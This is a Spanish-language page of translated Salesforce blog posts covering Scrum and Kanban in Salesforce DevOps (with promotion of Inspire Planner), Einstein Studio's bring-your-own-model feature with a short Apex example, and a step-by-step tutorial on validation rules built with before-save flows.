– Sin disciplina, los límites WIP pueden ignorarse, lo que genera cuellos de botella.
– La falta de limitaciones de tiempo puede dar lugar a retrasos y falta de urgencia.

El papel de Scrum en Salesforce DevOps

Salesforce es una plataforma altamente personalizable que requiere actualizaciones y mejoras frecuentes para satisfacer las necesidades dinámicas de las empresas. Aquí es donde Scrum puede traer ventajas significativas.

  • Desarrollo iterativo : el enfoque iterativo de Scrum se alinea bien con el desarrollo de Salesforce. Permite lanzamientos menores e incrementales con cada sprint, lo que permite a los equipos responder más rápidamente a los requisitos y cambios comerciales.
  • Claridad de funciones : las funciones definidas en Scrum (Propietario del producto, Scrum Master y Equipo de desarrollo) brindan responsabilidades y responsabilidades claras, fomentando un entorno de trabajo en equipo sólido y una comunicación efectiva, que son fundamentales en los proyectos de Salesforce.
  • Comentarios y mejoras continuas : con las revisiones y retrospectivas periódicas de Scrum, el equipo puede aprender y adaptarse continuamente a las necesidades cambiantes. Esta agilidad es especialmente beneficiosa dados los frecuentes lanzamientos y actualizaciones de Salesforce.
  • Mitigación de riesgos : los sprints breves y delimitados en el tiempo permiten la identificación y resolución temprana de problemas o riesgos, lo que reduce las posibilidades de fracaso del proyecto. Para obtener más detalles sobre este tema, consulte nuestro artículo sobre cómo reducir los riesgos y problemas imprevistos del proyecto.

Beneficios de usar Scrum y Agile en Salesforce DevOps

Mejorar la colaboración, la flexibilidad y la productividad en Salesforce DevOps con Scrum es una excelente manera de garantizar que los proyectos se entreguen con éxito y a tiempo. Este es el por qué:

  • Colaboración : Scrum fomenta un entorno altamente colaborativo. Las reuniones diarias de Scrum mantienen a todos alineados sobre el estado y los desafíos del proyecto, lo que promueve una resolución de problemas más efectiva. Además, la comprensión compartida y la comunicación frecuente reducen los malentendidos y la repetición del trabajo.
  • Flexibilidad : la naturaleza iterativa de Scrum permite que los cambios se incorporen fácilmente en el próximo sprint. Esto es particularmente beneficioso en Salesforce DevOps, donde los cambios son frecuentes debido a nuevos requisitos comerciales, comentarios de clientes o actualizaciones de Salesforce.
  • Productividad : al dividir el proyecto en unidades manejables (sprints), los equipos pueden enfocarse mejor y producir un trabajo de alta calidad, mejorando la productividad. Además, la visibilidad de la capacidad del equipo evita la sobrecarga y fomenta un ritmo sostenible, lo que contribuye a elevar la moral y mejorar aún más la productividad.

    Los equipos que implementan efectivamente las metodologías Scrum pueden presenciar un aumento de la productividad que oscila entre el 300 % y el 400 %.

  • Satisfacción del cliente : Scrum se enfoca en brindar valor con cada sprint, lo que lleva a resultados frecuentes y tangibles. Esta entrega constante de características valiosas puede aumentar la satisfacción del cliente mediante el uso de Agile en Salesforce DevOps.

    Cuando MediaMarkt, el minorista de electrónica de consumo líder en Europa, se expandió a China en 2010, desarrolló rápidamente una innovadora suite de planificación de recursos empresariales (ERP) en un año. Gracias a la metodología Scrum y un equipo colaborativo, implementaron múltiples aplicaciones estándar, lo que facilitó el lanzamiento de nuevas tiendas en Asia y preparó un crecimiento sustancial en China.

Aprovechamiento de Kanban para Salesforce DevOps

Kanban es una metodología Agile robusta que mejora la visibilidad y la eficiencia en los entornos de Salesforce DevOps. Así es cómo:

  • Visibilidad : Kanban utiliza un tablero visual (tablero Kanban) para representar el flujo de trabajo. Cada tarea o historia de usuario se representa como una tarjeta en este tablero, moviéndose de una columna a otra a medida que avanza. El uso de tableros Kanban para administrar el flujo de trabajo ha experimentado un aumento constante, con el 61 % de los encuestados usándolos ahora, un aumento sustancial del 6 % inicial informado en la primera encuesta.
  • Eficiencia : al establecer límites de trabajo en curso (WIP), Kanban evita que los miembros del equipo se sientan abrumados con demasiadas tareas. Esto conduce a un mejor enfoque y una finalización más rápida de las tareas. Cuando se identifica un cuello de botella (por ejemplo, demasiadas tareas en una columna en particular), se aborda de inmediato para mantener el flujo de trabajo de manera eficiente.
  • Entrega continua : en un entorno de Salesforce DevOps, a menudo existe la necesidad de entrega, mantenimiento o soporte continuos. Kanban respalda esto al promover un flujo continuo de trabajo en lugar de trabajar en iteraciones o sprints de longitud fija.

    Siemens Health Services quería aumentar la velocidad y la calidad de la entrega de software. A pesar de los contratiempos iniciales con sus métodos ágiles, el cambio hacia el pensamiento Lean y la adopción de Kanban mejoraron drásticamente la transparencia de sus procesos, aumentaron la calidad del trabajo, redujeron las tasas de defectos y, en última instancia, impulsaron el compromiso del equipo, lo que hizo que sus productos fueran más competitivos en un mercado exigente.

  • Flexibilidad : Kanban permite agregar nuevas tareas a la cartera de pedidos en cualquier momento, siempre que se respeten los límites WIP. Esto es particularmente beneficioso en un entorno de Salesforce DevOps donde existe la necesidad de reaccionar rápidamente ante nuevos problemas o cambios.

Pasos para integrar la metodología Kanban en proyectos de Salesforce

Estos son los pasos prácticos necesarios para integrar de manera efectiva la metodología Kanban en sus proyectos de Salesforce para mejorar la visibilidad y la eficiencia:

  • Defina las etapas del flujo de trabajo : divida su flujo de trabajo en distintas etapas. Algunas de las etapas típicas incluyen Backlog, En desarrollo, UAT y Completado, pero se pueden ajustar según las necesidades específicas de su proyecto.
  • Cree un tablero Kanban : use una herramienta de gestión de proyectos física o digital como Inspire Planner para crear su tablero Kanban. Representa cada etapa del flujo de trabajo como una columna en el tablero.
  • Cree tarjetas para tareas : escriba cada tarea o historia de usuario en una tarjeta separada y coloque estas tarjetas en la columna correspondiente en el tablero Kanban.
  • Establecer límites de trabajo en curso (WIP) : defina cuántas tareas pueden estar en curso en cada etapa de su flujo de trabajo en un momento dado. Esto evita la sobrecarga y ayuda a identificar cuellos de botella.
  • Administre y perfeccione el flujo de trabajo : mueva las tarjetas de izquierda a derecha en el tablero a medida que avanza el trabajo. Revise regularmente la junta para identificar y abordar los cuellos de botella. Respete los límites WIP y mueva una tarjeta a la siguiente etapa cuando haya capacidad.
  • Mejora continua : revise y analice el flujo de trabajo con regularidad. Busque formas de mejorar la eficiencia, como ajustar los límites WIP o redefinir las etapas. El objetivo es lograr un flujo de trabajo fluido y eficiente.

10 mejores prácticas para integrar metodologías ágiles en Salesforce DevOps

Las siguientes prácticas pueden ayudarlo a integrar Agile en Salesforce DevOps:

  • Entrenamiento y educación

    Asegúrese de que los miembros de su equipo comprendan los principios Agile y las prácticas de Scrum o Kanban en función de la metodología elegida. Invierta en cursos de capacitación, talleres y recursos relevantes.

  • Empieza pequeño

    Comience con un proyecto pequeño que no tenga mucho en juego. Esto permitirá que su equipo aprenda y se adapte a Agile en Salesforce DevOps en un entorno de baja presión.

  • Seleccione un marco ágil adecuado

    Elija Scrum o Kanban según los requisitos de su proyecto. Scrum es ideal para proyectos complejos que requieren una estrecha colaboración, mientras que Kanban es adecuado para flujos de trabajo continuos con tareas independientes.

  • Utilice herramientas ágiles de gestión de proyectos

    Utilice herramientas diseñadas específicamente para prácticas ágiles. Herramientas como Inspire Planner y Jira pueden facilitar los flujos de trabajo Scrum y Kanban, facilitando la transición. Si su organización utiliza Salesforce, idealmente debería buscar una herramienta de gestión de proyectos nativa de Salesforce en AppExchange.

  • Promover una cultura colaborativa

    Fomente la comunicación abierta, la retroalimentación frecuente y la colaboración activa. Recuerde, Agile en Salesforce DevOps se trata tanto de mentalidad y cultura como de procesos y herramientas.

  • Hacer uso de otras herramientas de DevOps

    Hay otras herramientas de Salesforce DevOps disponibles que también pueden ayudar a los equipos a colaborar de manera efectiva para garantizar que el software que entregan sea rápido y confiable.

  • Perfeccione regularmente el trabajo pendiente : las sesiones periódicas de preparación del trabajo pendiente garantizan que su trabajo pendiente siga siendo relevante, priorizado y manejable.
  • Aceptar los cambios : los cambios son una parte integral de Agile. Esté preparado para incorporar cambios en el próximo sprint (en Scrum) o cuando el límite WIP lo permita (en Kanban).
  • Realice retrospectivas : después de cada sprint (en Scrum) o a intervalos regulares (en Kanban), realice reuniones retrospectivas para analizar qué funcionó bien, qué no y cómo puede mejorar el equipo.
  • Aproveche las herramientas de Salesforce : puede usar herramientas como Inspire Planner que están específicamente diseñadas para administrar procesos Agile directamente en Salesforce. Esto puede ser particularmente útil si su proyecto implica el desarrollo de Salesforce.
Inspire Planner: herramienta ágil de gestión de proyectos para SalesforceInspire Planner: herramienta ágil de gestión de proyectos para Salesforce

8 errores a evitar al incorporar Agile en Salesforce DevOps

La incorporación de Agile en Salesforce DevOps puede traer muchos beneficios, pero hay ciertas trampas que se deben evitar para garantizar una implementación y ejecución sin problemas:

  • No entrenar al equipo : Scrum y Kanban requieren una comprensión clara de los principios y prácticas involucrados. Es vital asegurarse de que su equipo reciba la capacitación adecuada antes de la implementación.
  • Descuidar la comunicación : la comunicación regular y clara es crucial en las metodologías ágiles. Sin ella, pueden surgir malas interpretaciones que conduzcan a ineficiencias y errores.
  • Sobrecargar el flujo de trabajo : Agile no significa hacer más trabajo en menos tiempo. Se trata de administrar el trabajo de manera más efectiva. Asegúrese de que la carga de trabajo del equipo sea manejable y sostenible. En Kanban, es esencial no exceder el límite de trabajo en curso (WIP). La sobrecarga puede provocar cuellos de botella, lo que reduce la productividad general.
  • Descuidar la calidad : para entregar rápidamente, los equipos pueden comprometer la calidad. Incorpore prácticas como el desarrollo basado en pruebas (TDD) y las pruebas automatizadas para garantizar que la calidad no se vea afectada.
  • Ignorando las retrospectivas : Scrum fomenta las retrospectivas periódicas para identificar y abordar áreas de mejora. Ignorar estas reuniones puede dificultar la mejora continua, que es vital en Agile en Salesforce DevOps.
  • No adaptarse al cambio : las metodologías ágiles como Scrum y Kanban se tratan de aceptar el cambio. La resistencia al cambio puede hacer que estas metodologías sean menos efectivas. Supere esto a través de capacitación, comunicación abierta sobre los beneficios de Agile en Salesforce DevOps e involucrando a los miembros del equipo en el proceso de transición.
  • Uso incorrecto de herramientas : las herramientas de Salesforce y Agile deben usarse de manera efectiva para monitorear el progreso y administrar los flujos de trabajo. El uso incorrecto puede generar confusión e ineficiencia. Busque una aplicación de gestión de proyectos de Salesforce Agile que ofrezca un proceso adecuado de incorporación y formación.
  • Falta de participación de las partes interesadas : el aporte de las partes interesadas es invaluable en las metodologías ágiles. Ignorar sus comentarios puede generar productos que no satisfagan las necesidades de los usuarios.

Herramientas compatibles con metodologías ágiles en Salesforce DevOps

Varias herramientas pueden ayudar a administrar los flujos de trabajo de Scrum y Kanban, incluidas Jira, Inspire Planner y Trello.

jira

Atlassian desarrolló Jira como una herramienta versátil compatible con Scrum, Kanban y metodologías mixtas. Sus sólidas funciones incluyen la priorización de tareas pendientes, la planificación de sprints, los gráficos de avance y reducción, los flujos de trabajo personalizados y más. Sin embargo, para integrar Jira con Salesforce, deberá configurar una solución de integrador de terceros y mantenerla a lo largo del tiempo.

Inspirar planificador

Por el contrario, la herramienta llamada Inspire Planner es una aplicación de gestión de proyectos 100% nativa de Salesforce que es totalmente compatible con las metodologías Scrum y Kanban listas para usar. Inspire Planner tiene más de 130 reseñas de 5 estrellas en AppExchange e incluye todas las funciones estándar, como trabajos pendientes, sprints, puntos de la historia, gráficos de trabajo pendiente y más.

Al ser nativo de Salesforce, Inspire Planner no solo ofrece una integración perfecta con Salesforce, sino que también le permite personalizar completamente la aplicación para agilizar su proceso de gestión de proyectos.

¿Y si necesita la gestión de proyectos tradicional de Waterfall? No se preocupe, Inspire Planner también ofrece funciones avanzadas de gestión de proyectos para esta metodología, incluido un gráfico de Gantt interactivo, gestión de recursos, seguimiento del tiempo, carteras, gestión de riesgos, líneas base, dependencias de tareas avanzadas, ruta crítica, uso compartido externo, gestión de restricciones, automatización. , y mucho más.

Trello

Trello es un sistema fácil de usar basado en tarjetas para visualizar el trabajo y administrar los flujos de trabajo de Kanban. Las tarjetas de Trello pueden representar historias de usuarios o tareas, que se pueden mover entre listas (que representan diferentes etapas de su flujo de trabajo) en un tablero de Trello.

Aunque no tiene el nivel de personalización o las funciones de generación de informes detallados como Inspire Planner y Jira, la simplicidad de Trello lo convierte en una opción atractiva para equipos más pequeños o proyectos simples.

Una mirada más cercana a Inspire Planner

Inspire Planner está diseñado para ser una solución de gestión de proyectos Agile integral pero fácil de usar para Salesforce. El hecho de que sea nativo de Salesforce significa que inherentemente funciona bien con sus datos existentes en Salesforce, evitando por completo la necesidad de integraciones.

Inspire Planner Gestión ágil de proyectos en SalesforceInspire Planner Gestión ágil de proyectos en Salesforce

Aquí hay algunas razones por las que Inspire Planner podría ser una buena opción para su equipo:

  • Soporte ágil completo : Inspire Planner es compatible con las metodologías Scrum y Kanban desde el primer momento para que pueda elegir el mejor enfoque para las necesidades de su proyecto. Puede gestionar fácilmente la acumulación de productos, planificar sprints, realizar un seguimiento de los puntos de la historia, visualizar el trabajo mediante tableros Kanban, gestionar recursos y analizar el progreso con gráficos de evolución.
  • Integración perfecta con Salesforce : dado que Inspire Planner vive dentro de su organización de Salesforce, puede vincular directamente sus historias de usuario o tareas a cualquier registro de Salesforce como Oportunidades, Casos y Cuentas, incluidos los registros de sus objetos personalizados. Esto reduce la duplicación de datos y conecta sus datos de Salesforce con sus flujos de trabajo ágiles.
  • Colaboración : Aprovecha Chatter de Salesforce para la comunicación, fomentando la colaboración dentro del equipo. También puede compartir el estado del proyecto con las partes interesadas directamente en Salesforce.
  • Interfaz intuitiva y familiar : incorpore rápidamente nuevos equipos e impulse la adopción a través de una experiencia de usuario perfecta y una interfaz de usuario familiar. Utilice funciones estándar como Tareas de Salesforce, Chatter, Informes y Paneles, y más.

Elegir la herramienta adecuada para sus necesidades y el tamaño de su equipo

Elegir la herramienta adecuada depende del tamaño de su equipo, la complejidad del proyecto y la metodología Agile que siga. Aquí hay algunas pautas:

  • Tamaño del equipo y complejidad del proyecto : para equipos pequeños o proyectos menos complejos, la simplicidad de Trello puede ser ventajosa. Una herramienta más robusta como Jira o Inspire Planner podría ser más adecuada para equipos más grandes o proyectos complejos que requieren flujos de trabajo personalizados, informes detallados y más.
  • Integración de Salesforce : si su organización utiliza mucho Salesforce, una aplicación nativa de Salesforce como Inspire Planner podría ser la mejor opción para una integración perfecta. Y si es nuevo en Salesforce, puede mejorar sus habilidades con los mejores recursos de capacitación de Salesforce para comenzar.
  • Metodología ágil : si su equipo sigue estrictamente Scrum, tanto Inspire Planner como Jira podrían ser preferibles. Para Kanban, las tres herramientas podrían satisfacer sus necesidades. Para una combinación de metodologías Agile y Waterfall, Inspire Planner sería la mejor opción.
  • Presupuesto : El costo podría ser otro factor decisivo. Trello suele ser más rentable para equipos pequeños, mientras que Jira e Inspire Planner ofrecen funciones más avanzadas a un costo mayor.

Conclusión

La incorporación de Agile en Salesforce DevOps realmente puede amplificar la adaptabilidad, la colaboración en equipo, la satisfacción del cliente, la eficiencia y la gestión de riesgos. El énfasis en el desarrollo iterativo y la garantía de calidad garantiza estándares de primer nivel dentro del desarrollo y las operaciones de Salesforce.

Sin embargo, es importante recordar que el corazón de Agile radica en cultivar una mentalidad comprometida con el aprendizaje continuo y la adaptabilidad.

Aquí hay algunas ideas procesables:

  • Comprométase con el aprendizaje continuo : anime a su equipo a aprender de cada iteración y use esos conocimientos para impulsar mejoras en los siguientes sprints.
  • Acepta el cambio : el cambio es la única constante en Agile. Fomentar un entorno en el que el cambio no solo se acepte, sino que se acoja como una oportunidad para mejorar.
  • Fomentar la colaboración : promover una cultura de comunicación abierta y colaboración. Esto puede conducir a soluciones más innovadoras y a un equipo más fuerte.
  • Involucrar a las partes interesadas : involucrar regularmente a las partes interesadas en las revisiones de sprint para garantizar que el producto satisfaga las necesidades y expectativas de los usuarios.
  • Aproveche las herramientas de manera efectiva : use las herramientas de Salesforce y Agile de manera efectiva para realizar un seguimiento del progreso, administrar los flujos de trabajo y facilitar la comunicación.

Al adoptar estas estrategias, los equipos pueden desbloquear todo el potencial de las metodologías ágiles, lo que lleva a un mayor rendimiento y niveles elevados de satisfacción del cliente.

Seguir leyendo

Traiga sus propios modelos de IA a la nube de datos ☁️

Traiga sus propios modelos de IA a la nube de datos ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Lleve sus propios modelos de IA a la nube de datos | Blog de desarrolladores de Salesforce

Einstein Studio es una plataforma fácil de usar que le permite crear y poner en funcionamiento la IA en Salesforce. La plataforma aprovecha el poder de otras plataformas de IA, como Amazon SageMaker y Google Cloud Vertex AI, para que pueda crear, entrenar e implementar modelos de IA personalizados de forma externa utilizando datos en Salesforce. En este blog, presentamos Einstein Studio y exploramos cómo la capacidad de traer su propio modelo (BYOM) generalmente disponible puede generar resultados para su negocio.

Presentamos Traiga su propio modelo (BYOM)

Einstein Studio le permite conectarse fácilmente a modelos predictivos o generativos y usarlos en el flujo de trabajo en Salesforce. Por ejemplo, los modelos predictivos se pueden usar para puntuar clientes potenciales, recomendar productos o detectar abandonos. Con modelos generativos, puede crear contenido como resúmenes de casos, respuestas de correo electrónico y descripciones de productos. Para obtener más información sobre la IA generativa y los modelos de lenguaje extenso (LLM), consulte el blog de Salesforce 360 .

Conectar un modelo con Einstein Studio es simple. Puede integrar fácilmente su modelo con Data Cloud para acceder a predicciones e información en tiempo real y usar la información de varias maneras. Por ejemplo, para enriquecer los perfiles de los clientes, crear segmentos y personalizar la experiencia del usuario final en diferentes canales. También puede usar un modelo generativo para crear campañas de correo electrónico personalizadas basadas en las preferencias de un cliente y su comportamiento de compra.

¿Por qué traer su propio modelo?

Estos son algunos de los beneficios de usar un modelo de Amazon SageMaker con datos de Data Cloud en Einstein Studio.

  • Acceda a datos altamente seleccionados, armonizados y casi en tiempo real en Customer 360 en SageMaker.
  • Elimina la necesidad de trabajos ETL tediosos, costosos y propensos a errores. Este enfoque de federación de copia cero para los datos reduce la sobrecarga para administrar las copias de datos, los costos de almacenamiento y mejora la eficiencia.
  • Crea modelos rápidamente en SageMaker y conecta los modelos en Data Cloud para consumir predicciones para la optimización de procesos comerciales.
  • Admite la ingesta de datos en tiempo real, en streaming y por lotes para impulsar los resultados de IA relevantes.
  • Permite el uso sin inconvenientes de modelos y predicciones de SageMaker en Salesforce mediante Flow, un paquete de automatización de flujos de trabajo. Flow permite la toma de decisiones impulsada por IA que puede evolucionar en función de actualizaciones de datos en tiempo real.

Casos de uso

Estos son algunos casos de uso en los que Einstein Studio puede mejorar la experiencia del cliente y agregar un toque personal.

Caso de uso minorista

Un minorista puede crear un modelo de IA personalizado para predecir la probabilidad de que un cliente compre atuendos específicos en función de los datos de compromiso, como su historial de compras o actividad en línea. Luego pueden implementar el modelo y utilizar Einstein Studio para ofrecer recomendaciones de productos hiperpersonalizados a los clientes a través del canal más apropiado, incluido el correo electrónico, una aplicación móvil o las redes sociales.

Caso de uso de viaje

Una agencia de viajes puede conectar los datos de CRM, como el historial de reservas del cliente y las preferencias de viaje, con datos que no son de CRM, como reseñas de destinos y previsiones meteorológicas. Luego pueden implementar modelos de IA predictivos y generativos para predecir qué destinos atraen a clientes específicos y generar recomendaciones de correo electrónico personalizadas para ellos.

Caso de uso automotriz

Una marca automotriz puede usar inteligencia artificial predictiva para determinar cuándo es probable que un automóvil necesite mantenimiento y detectar reclamos de seguros fraudulentos. Luego, la IA generativa se puede utilizar para personalizar las campañas de marketing de los clientes en función de las necesidades y preferencias individuales.

Flujo de trabajo de la aplicación para usar Einstein Studio con AWS SageMaker

En esta sección, analizamos brevemente el flujo de trabajo de la aplicación con Einstein Studio.

En este flujo de trabajo, el conector de Python otorga a SageMaker acceso seguro a los objetos de Salesforce Data Cloud. Después de la autenticación, los especialistas en datos pueden explorar y preparar los datos, y realizar tareas de ingeniería de funciones para el desarrollo y la inferencia de modelos de IA mediante la interfaz visual interactiva de SageMaker Data Wrangler .

El flujo de trabajo anterior es específico de Data Wrangler. Pero, ¿qué sucede si es un científico de datos y planea usar los cuadernos de SageMaker Studio para desarrollar y preparar sus modelos personalizados? Una vez que se aprueba un modelo en el registro de SageMaker, simplificamos el proceso con una plantilla de proyecto de SageMaker para Salesforce para automatizar la implementación en un extremo de invocación.

Este extremo de invocación se configura como destino en Einstein Studio y se integra con las aplicaciones de Salesforce Customer 360. Para obtener más información sobre este flujo de trabajo, consulte el blog de AWS .

Cómo consumir predicciones de su modelo en Salesforce

Hay dos formas de consumir predicciones. Usando acciones invocables en Flow y Apex, o con análisis ad hoc.

Use Flow Builder y Apex para obtener predicciones

Aquí hay un flujo que usa una acción invocable para crear recomendaciones de productos para un cliente.

En este ejemplo, un administrador usa Flow Builder para separar los registros de individuos unificados para verificar si se realizó una compra reciente. Si se realizó la compra, la acción invocable obtiene la inferencia del modelo de Einstein Studio y recomienda el siguiente mejor producto a un cliente.

Esta acción invocable también se puede llamar en Apex. Vea el ejemplo a continuación.

<dx-code-block title language="apex" code-block="Invocable.Action action = Invocable.Action.createCustomAction('cdpGetMlPrediction', 'EinsteinStudio_model_name');
action.setInvocationParameter('variable_1', '10');
action.setInvocationParameter('variable2', '20');
action.setInvocationParameter('variable3', '30');
List results = action.invoke();
if (results.size() > 0 && results[0].isSuccess()) { System.debug(‘Result is: ‘ + results[0].getOutputParameters().get(‘param_score’));
} else { System.debug(‘Error message’ + results[0].getErrors());
} «>

Para obtener instrucciones sobre el uso de acciones invocables en Flow y Apex, consulte la Ayuda de Salesforce .

Utilice análisis ad hoc para obtener predicciones

Query API es otra forma rápida de obtener puntajes de predicción para los datos que residen en Data Cloud. Con Query API, puede usar el punto final de inferencia y funciones de predicción de llamadas para probar el punto final.

Para obtener instrucciones sobre el uso de acciones invocables en QueryAPI, consulte la Ayuda de Salesforce .

Conclusión

Einstein Studio es una plataforma de IA fácil de usar que permite a los equipos de ciencia e ingeniería de datos crear, entrenar e implementar modelos de IA utilizando plataformas externas y datos en Data Cloud. Las plataformas externas incluyen Amazon SageMaker, Google Cloud Vertex AI y otros servicios de IA predictivos o generativos. Una vez que esté listo, puede utilizar los modelos de IA en tiempo real para impulsar cualquier aplicación de ventas, servicios, marketing, comercio y otras en Salesforce.

Recursos adicionales

Sobre el Autor

Daryl Martis es el Director de Producto de Salesforce para Einstein. Tiene más de 10 años de experiencia en la planificación, creación, lanzamiento y gestión de soluciones de clase mundial para clientes empresariales, incluidas soluciones de inteligencia artificial y aprendizaje automático y en la nube. Anteriormente trabajó en la industria de servicios financieros en la ciudad de Nueva York. Síguelo en LinkedIn o Twitter .

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

Validaciones personalizadas mediante flujos activados por registros

Validaciones personalizadas mediante flujos activados por registros

Última actualización el 3 de agosto de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cómo se escribe una regla de validación utilizando un flujo desencadenado por registros antes de guardar sin crear metadatos adicionales?

Objetivos:

Después de leer este blog, podrá:

  • Comprender la regla de validación
  • Flujo antes de guardar activado por registro de usuario para crear una regla de validación
  • Mostrar el mensaje de error en la parte superior de la página
  • Y mucho más

👉 Anteriormente, escribí varias publicaciones sobre la validación y Salesforce Flow. ¿Por qué no echarles un vistazo mientras estás en ello?

  1. Adición de validación a los componentes de la pantalla de flujo
  2. ¿Regla de validación usando un flujo antes de guardar? ¡Sí!
  3. Cómo corregir el error FIELD_CUSTOM_VALIDATION_EXCEPTION)

A Benjamin Moore , administrador de Salesforce en Gurukul On Cloud (GoC), se le ha encomendado un requisito específico. Debe restringir que los usuarios creen una nueva oportunidad dentro de la cuenta si existe una oportunidad abierta. El siguiente texto debe utilizarse para el mensaje de error:

Utilice la oportunidad abierta existente dentro de esta cuenta. Si necesita más ayuda o tiene preguntas sobre la gestión de oportunidades, póngase en contacto con el soporte de TI.

¿Qué es la regla de validación?

Una regla de validación permite que un administrador del sistema defina una lógica personalizada y mensajes de error para garantizar la integridad de los datos. La regla puede contener una fórmula o una expresión que evalúe los datos en uno o más campos y devuelva un valor verdadero o falso . Por ejemplo, la regla incluye un mensaje de error que se muestra cuando devuelve un valor verdadero que indica que se están ingresando datos incorrectos. Recuerde, una regla de validación solo se activa cuando se crea o edita un registro .

En este artículo, hablé sobre muchos hechos ocultos que no son muy conocidos sobre la regla de validación . Por ejemplo, mostré cómo usar una regla de validación para administrar requisitos usando tipos de metadatos personalizados.

¿Qué es Antes de Guardar Flujo?

El flujo antes de guardar es un disparador que se realiza antes de una operación , como una inserción, actualización, eliminación, etc. Puede usar dicho flujo para verificar o cambiar valores antes de que los datos se actualicen o inserten en la base de datos. Guardar antes es mucho más rápido porque cada registro no se guarda en la base de datos nuevamente. Evitar ese procedimiento de guardado adicional significa omitir otra ronda de reglas de asignación, reglas de respuesta automática, reglas de flujo de trabajo y otras personalizaciones que tardan en ejecutarse. Use un flujo antes de guardar en los siguientes casos de uso:

  1. Actualizar campos en registros nuevos o modificados: significa que desea actualizar los campos en el registro que inició el Flujo
  2. Activar una regla de validación (no necesaria después del lanzamiento de winter'24)

Lea este artículo para obtener más información sobre cuándo usar el flujo anterior frente al flujo posterior al guardado.

Enfoque de Campeón de Automatización (I-do):

Paso 2: uso del elemento de decisión para verificar si la oportunidad se creó o actualizó

Ahora usaremos el elemento Decisión para verificar si el registro de oportunidad fue creado o actualizado.

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Decisión .
  2. Introduzca un nombre en el campo Etiqueta ; el nombre de la API se completará automáticamente.
  3. En Detalles del resultado , ingrese la etiqueta que el nombre de la API se completará automáticamente.
  4. Requisitos de condición para ejecutar el resultado : se cumplen todas las condiciones (Y)
    1. Fila 1:
      1. Recurso : {!$Record.Id}
      2. Operador : es nulo
      3. Valor : {!$ConstanteGlobal.Verdadero}
  5. Cuándo ejecutar el resultado : si se cumplen los requisitos de la condición
  6. Haz clic en la X en la parte superior para guardar tus cambios.

Paso 3: agregar un elemento Obtener registro para encontrar oportunidades abiertas relacionadas

El siguiente paso es usar el elemento Obtener registros para encontrar oportunidades abiertas relacionadas en la cuenta.

  1. En Flow Designer, debajo del nodo Creado , haga clic en el icono + y seleccione el elemento Obtener registros .
  2. Introduzca un nombre en el campo Etiqueta ; el nombre de la API se completará automáticamente.
  3. Seleccione el objeto Oportunidad de la lista desplegable.
  4. Seleccione Se cumplen todas las condiciones (Y) .
  5. Establecer condiciones de filtro
    1. Fila 1:
      1. Campo : ID de cuenta
      2. Operador : Igual
      3. Valor : {!$Record.AccountId}
    2. Haga clic en Agregar condición
      1. Fila 1:
        1. Campo : EstáCerrado
        2. Operador : Igual
        3. Valor : {!$ConstanteGlobal.Falso}
  6. Cuántos registros almacenar:
    1. seleccione Todos los registros
  7. Cómo almacenar datos de registro:
    1. Elija la opción para Almacenar automáticamente todos los campos .
  8. Haz clic en la X en la parte superior para guardar tus cambios.

Paso 4: uso del elemento de decisión para verificar si se encontró o no una oportunidad abierta  

Ahora, usaremos el elemento Decisión para comprobar si el elemento Obtener registros anterior devuelve un registro de oportunidades abiertas.

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Decisión .
  2. Introduzca un nombre en el campo Etiqueta ; el nombre de la API se completará automáticamente.
  3. En Detalles del resultado , ingrese la etiqueta que el nombre de la API se completará automáticamente.
  4. Requisitos de condición para ejecutar el resultado : se cumplen todas las condiciones (Y)
    1. Fila 1:
      1. Recurso: {!Get_Related_Opportunity}
      2. Operador: es nulo
      3. Valor: {!$ConstanteGlobal.Falso}
  5. Cuándo ejecutar Resultado : Si se cumplen los requisitos de la condición .
  6. Haga clic en Listo .

Paso 5: agregar un elemento de error personalizado para mostrar mensajes de error

  1. En el nodo , seleccione el elemento Error personalizado .
  2. Introduzca un nombre en el campo Etiqueta ; el nombre de la API se completará automáticamente.
  3. Establecer detalles del mensaje de error 1
    1. Dónde mostrar el mensaje de error : en una ventana en una página de registro
    2. Mensaje de error:
      1. Utilice la oportunidad abierta existente dentro de esta cuenta. Si necesita más ayuda o tiene preguntas sobre la gestión de oportunidades, póngase en contacto con el soporte de TI.
  4. Haz clic en la X en la parte superior para guardar tus cambios.

Al final, Benjamin's Flow se verá como la siguiente captura de pantalla:

Una vez que todo se vea bien, realice los siguientes pasos:

  1. Haga clic en Guardar .
  2. Ingrese la etiqueta de flujo, el nombre de la API se completará automáticamente.
  3. Haga clic en Mostrar avanzado .
  4. Versión de API para ejecutar el flujo : 59
  5. Etiqueta de entrevista : regla de validación personalizada mediante flujo {!$Flow.CurrentDateTime}
  6. Haga clic en Guardar .

¡Casi llegamos! Una vez que todo se vea bien, haga clic en el botón Activar .

👉 Mira el video para obtener instrucciones paso a paso.

[contenido incrustado]
Cosas para recordar
  1. El límite para el campo del mensaje de error es de 255 caracteres.
  2. Solo puede agregar un mensaje de error para una página.
  3. Solo puede agregar un mensaje de error por campo.
  4. no es posible utilizar el enlace con su mensaje de error.
    1. parámetro de escape Indica si cualquier marcado HTML en el mensaje de error personalizado se debe escapar ( verdadero ) o no ( falso ). Este parámetro se ignora tanto en Lightning Experience como en la aplicación móvil Salesforce, y el HTML siempre se escapa. El parámetro de escape solo se aplica en Salesforce Classic. Lea este artículo para obtener más información.

Prueba de concepto

A partir de ahora, si un usuario intenta crear una nueva oportunidad en una cuenta que ya tiene una oportunidad abierta, se activará el flujo activado por registro antes de guardar que hemos creado y mostrará un mensaje de error.

Evaluación formativa:

¡Quiero saber de ti!

¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.

Seguir leyendo

Cargue datos mediante programación con la API de ingesta ☁️

Cargue datos mediante programación con la API de ingesta ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Cargue datos mediante programación con la API de ingesta | Blog de desarrolladores de Salesforce

